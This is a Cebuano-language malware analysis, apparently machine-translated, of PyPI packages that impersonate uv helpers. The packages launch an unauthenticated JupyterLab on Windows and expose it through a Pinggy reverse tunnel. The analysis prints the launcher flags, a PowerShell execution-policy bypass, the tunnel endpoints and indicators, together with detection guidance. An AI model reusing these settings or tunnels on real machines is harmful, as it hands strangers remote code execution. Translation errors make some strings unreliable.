TL; DR
Usa ka pundok sa mga pakete sa PyPI ang nanghulam sa ngalan sa uv, ang paspas ug sikat kaayo nga Rust-based Python package manager, aron magpakaaron-ingnon nga mga uv helper. Halos wala silay gipadala nga tinuod nga gamit. Ang ilang gidala hinuon kay usa ka Windows payload nga mobarog sa usa ka Ang JupyterLab server nga adunay authentication gipalong ug, sa mas ulahing mga bersyon, imantala kini sa publikong internet pinaagi sa usa ka reverse tunnel.
Mao kana ang tibuok nga istorya sa usa ka linya: ang ngalan sa usa ka kasaligang himan isip pangdani, ug ang JupyterLab isip remote-code-execution engine. Ang usa ka Jupyter server modagan sa bisan unsang code nga imong i-type sa usa ka notebook cell; ang usa nga gilunsad nga adunay walay sulod nga token ug naka-bound sa matag network interface usa ka open interpreter nga bisan kinsa nga makaabot sa port mahimong mogamit.
Gisubay namo ang cluster isip Peke nga UVAng duha ka pakete nga gisusi mao ang moon-uv (0.0.1-0.0.16) ug my-magic-uv-helper (0.0.1), gipatik sa samang operator ug anaa sa PyPI sa panahon sa pag-analisar.
| Ecosystem | PyPI |
| packages | moon-uv (0.0.1-0.0.16), my-magic-uv-helper (0.0.1) |
| Gitarget nga plataporma | Windows |
| Kinauyokan nga pamatasan | Wala gi-authenticate nga JupyterLab server, gi-publish sa internet pinaagi sa reverse tunnel |
| Mga lehitimong gamit nga giabusohan | uv, JupyterLab, cloudflared, Pinggy |
Ang pangdani: usa ka ngalan nga imong gisaligan na
uv usa sa labing gi-install nga mga himan sa Python sa miaging duha ka tuig, busa "usa ka katabang para sa uv"usa ka pakete nga gi-install sa usa ka developer nga walay pagduha-duha. Ang FauxUV naggasto sa iyang kredibilidad sa hingpit nianang ngalana. Ang mga pakete nagputos sa tinuod nga uv installer gikan sa Astral — ang mga URL sa payload point sa tinuod ug dungganon nga mga host — busa sa dali nga pagtan-aw wala’y makita gawas sa kasaligan nga mga reperensya. Wala sa mga pakete ang aktuwal nga nagdugang uv gamit; ang ngalan mao ang tibuok nga pagtakuban.
JupyterLab isip makina sa RCE
Ang sentro sa payload kay usa ka launcher nga mopaandar sa JupyterLab kon tangtangon na ang tanang guardrail:
jupyter server --with jupyterlab --ip=0.0.0.0 # listen on every interface --ServerApp.token="" # no password, no token --allow_origin='*' # accept cross-origin connections --disable_check_xsrf # allow a remote browser/WebSocket to drive it Ang matag bandila nagtangtang sa usa ka proteksyon, ug ang gipadala nga script nag-annotate pa gani niini (sa orihinal nga Intsik): ang walay sulod nga token "gipalong ang mga pagsusi sa password ug token — bisan kinsa mahimong makakonektar." jupyter lab usa ka lehitimong data-science IDE, apan diliebook Ang cell mopatuman sa arbitraryong code pinaagi sa disenyo. Gi-configure niining paagiha ug gigapos sa 0.0.0.0, kini mohunong sa pagka-IDE ug mahimong usa ka wala ma-authenticate nga remote shell sa host — dili kinahanglan ang custom malware binary, usa lang ka mainstream tool nga nagtudlo sa sayop nga direksyon.
Duha ka nagsuporta nga mga piraso ang naghimo niana nga maabut ug masubli:
- Usa ka hilom nga gatilyo sa pag-instalar. Ang mga naunang bersyon nagpadagan sa PowerShell gamit ang -Paglikay sa Polisiya sa Pagpatuman diretso gikan sa setup.py on pag-instalar sa tubo, sa background nga adunay mga sayop nga gipugngan pip murag normal ra. Ang mga bag-ong bersyon nagbalhin sa parehas nga primitive ngadto sa usa ka pip-uv command-line tool — ug hingpit nga tangtangon ang install-time auto-run.
- Usa ka publikong baliktad nga tunel. Usa ka server ang naka-on 0.0.0.0 maabot ra gihapon sa mga host nga maka-ruta sa makina. Ang usa ka bundled module magbukas sa usa ka [Pinggy](https://pinggy.io/) SSH reverse tunnel nga mo-forward sa local Jupyter port ngadto sa public address, nga magtangtang sa maong limit. Ang gipadala nga script nagdala usab — gi-comment out — og alternatibong agianan gamit ang Cloudflare's gi-cloudflared ug sa usa ka netsh port-proxy ngadto sa usa ka Linode IP, nga nagdokumento sa samang tumong pinaagi sa lain-laing imprastraktura.
I-andam: i-install ang package, ug ang Windows host modagan og walay password nga JupyterLab ug i-publish kini sa open internet.
Giunsa pag-uswag ang FauxUV
Ang mga bersyon sa FauxUV gipadala dayon, ug ang trigger point sa payload mibalhin tabok niini — usa ka pahinumdom nga ang usa ka gi-flag nga bersyon talagsa ra magsaysay sa tibuok istorya sa usa ka linya sa pakete.
| stage | Mga bersikulo | Trigger | Unsay gidugang niini |
|---|---|---|---|
| Pag-instalar og kaw-it | moon-uv 0.0.1-0.0.3, my-magic-uv-helper 0.0.1 | setup.py sa pag-instalar sa pip | uv install + PATH prepend |
| Oras sa pagdagan sa CLI | moon-uv 0.0.5-0.0.13 | pip-uv sugo | ang walay password nga JupyterLab launcher |
| Tunel | moon-uv 0.0.14-0.0.16 | pip-uv sugo | usa ka aktibo nga Pinggy reverse tunnel |
Ilabi na, ang awtomatikong pagdagan sa oras sa pag-install kay gikuha sa mas bag-o, mas maayong mga bersyon — mao nga ang usa ka scanner gi-key lang sa lifecycle hooks mohatag og marka sa mas bag-ong mga pagpagawas isip dili kaayo delikado, eksakto nga paatras.
Mga timailhan sa kompromiso
Gikumpirma pinaagi sa pagbasa sa tinubdan sa pakete; gimarkahan ang mga endpoint Mikomentaryo anaa sa mga file apan wala gipatuman sa gisusi nga bersyon. Ang mga network indicator wala na ma-enhance.
| Type | timailhan |
|---|---|
| I-install ang sugo | powershell -ExecutionPolicy Bypass pagkuha sa tinuod nga uv installer, sa oras sa pag-install sa pip |
| Mga bandila sa JupyterLab | --ip=0.0.0.0 --ServerApp.token="" --allow_origin='*' --disable_check_xsrf |
| Baliktad nga tunel (aktibo) | free[.]pinggy[.]io:443 pagpadala sa lokal 127.0.0.1:8888 |
| Tig-host sa tunel (gikomento) | cloudflared tunnel --url hxxp://127[.]0[.]0[.]1:2718 |
| IP (gikomentohan) | 45[.]79[.]134[.]161 (Linode) pinaagi sa netsh port-proxy |
| Paglahutay | nag-andam %USERPROFILE%\.local\bin ngadto sa tiggamit nga PATH |
Mga senyales sa pamatasan nga angay bantayan, bisan unsa pa kini nga mga linya: a pag-instalar sa tubo nga mogula powershell -ExecutionPolicy Bypassbisan unsa jupyter paglunsad nga naghiusa timaan = "" uban sa –ip=0.0.0.0; ug mogawas nga SSH ngadto sa *.pinggy.io gikan sa usa ka developer o CI machine.
Naobserbahan nga pamatasan ug gigikanan
Ang duha ka pakete adunay tagsulat ug pamaagi: ngalan sa usa ka kasaligang himan, Windows-only gating, error-suppressed background execution, ug pagsalig sa mga kasaligang himan busa ang dali nga pagtan-aw makakita lamang og mga kasaligang URL. Ang tinubdan nagdala og mga komento sa pinulongan nga Intsik nga naghulagway sa mga flag nga may kalabutan sa seguridad; among gitaho kini isip mga obserbadong pahayag sa file, dili isip usa ka pag-angkon bahin sa motibo. Ang allow_origin bili ug usa ka colab.bat Ang filename nag-echo sa dili pormal nga "share my local runtime" workflows nga naglibot para sa Google Colab. Bisan unsa pa ang gigikanan, ang naka-package nga resulta parehas ra.
Epekto ug giya para sa mga tigpanalipod
Kinsa ang naladlad sa FauxUV. Mga developer sa Windows ug mga CI runner nga pag-instalar sa tubo usa niining mga pakete. Usa ka JupyterLab nga walay password 0.0.0.0 mao ang remote code execution para sa bisan kinsa nga makaabot sa port; ang tunnel magtangtang sa limit nga "kinsa ang makaabot niini". Ang server modagan isip installing user, nga makapanunod sa mga file, token, ug cloud credentials sa maong user.
Ngano nga dali ra kini makalimtan. Ang matag network string nagtudlo sa usa ka dungganon nga host — Astral, JupyterLab, gi-cloudflared, Pinggy, Colab. Walay malware binary nga i-hash ug walay obfuscated blob nga i-decode. Ang reputation- ug signature-based scanning parehong kulang niini, mao nga ang pangutana sa pamatasan — unsa ang mahimo sa makina pinaagi sa pag-instalar niini nga pakete — mao ang makadakop niini.
Giya:
- Trataha ang bisan unsang oras sa pag-instalar powershell -ExecutionPolicy Bypass isip usa ka build-breaking signal, bisan unsa nga URL ang makuha niini.
- Alerto naka-on jupyter gilunsad nga adunay walay sulod nga token ug –ip=0.0.0.0; kana nga kombinasyon dili gyud angay makita sa usa ka workstation o runner.
- Monitor para sa mga outbound SSH ngadto sa tunnel providers (*.pinggy.io, *.trycloudflare.com) gikan sa mga palibot sa developer ug CI.
- Pag-instalar uv gikan sa [opisyal nga tinubdan niini](https://docs.astral.sh/uv/) ug magduhaduha sa mga third-party nga "helper" packages nga nagputos sa usa ka himan nga sayon ra i-install.
- I-pin ug ribyuha pag-usab ang mga dependency sa pag-upgrade — ang linya sa pakete mahimong mopatubo og bag-ong kapabilidad nga bersyon-sa-bersyon.



